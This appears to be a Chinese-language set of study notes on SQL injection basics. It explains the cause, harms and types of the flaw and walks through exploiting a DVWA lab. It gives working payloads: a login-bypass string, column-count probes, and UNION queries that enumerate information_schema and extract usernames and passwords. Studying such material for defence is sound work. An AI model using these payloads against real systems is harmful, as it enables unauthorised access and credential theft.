03. SQL注入漏洞基础
SQL注入漏洞基础(上)
/01 SQL注入的原理
SQL注入原理
SQL注入产生的原因
当Web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎,获取或修改数据库中的数据。
SQL注入的本质
把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则
SQL注入的两个关键点
- 用户能够控制输入的内容;
- Web应用把用户输入的内容带入到数据库中执行
/02 SQL注入的危害
SQL注入的危害
-
盗取网站的敏感信息
-
绕过网站后台认证
后台登录语句:
SELECT * FEOM admin WHERE username = 'user' and password = 'pass'
万能密码:’ or ‘1’ = ‘1’ #
-
借助SQL注入漏洞提权获取系统权限
-
读取文件信息
/03 SQL注入的分类
SQL注入的分类
根据注入位置分类:GET型、POST型、Head头注入
根据反馈结果分类:有回显(显错注入)、无回显(盲注)
根据数据类型分类**(我们更加关注)**:
数字型:输入的参数为整型,入id、年龄、页码等
字符型:输入的参数为字符串
数字型与字符型最大的区别在于:数字型不需要单引号闭合,而字符串型一般需要单引号闭合。
/04 SQL注入的流程
SQL注入的流程
1、寻找注入点
2、判断闭合方式
?id=1asdfa
有报错:数字型,无闭合或 )闭合
无报错:字符型,再判断闭合方式,’ “ ‘)“)
SQL注入漏洞基础(下)
2、判断闭合方式(续)
?id=1asdfa’
查看报错信息,这里的闭合方式为’
3、验证漏洞
?id=1’ or 1=1 # 正常显示
4、判断列数及回显位
?id=1’ ) order by 4 #
?id=1’ ) order by 3 #
说明列数为2列
?id=-1’ ) union select 1, 2#
说明回显位为1,2
联合查询下,两个select一定要相同字段数量
sql注入流程:
-
查询数据库类型:通过错误显示,已经知道是mysql
-
查询当前系统所使用的数据库名称是什么:dvwa
select * from 表名 where id = '1' union select 1, database()#
-
查询当前数据库的表有什么内容:
information_schema查询表名
0' union select 1, table_name from information_schema.tables where table_schema = 'dvwa
-
查询指定表的字段信息:
information_schema查询字段信息
0' union select 1, group_concat(column_name) from information_schema.columns where table_name = 'users
-
查询想要的信息内容:
0' union select user, password from users#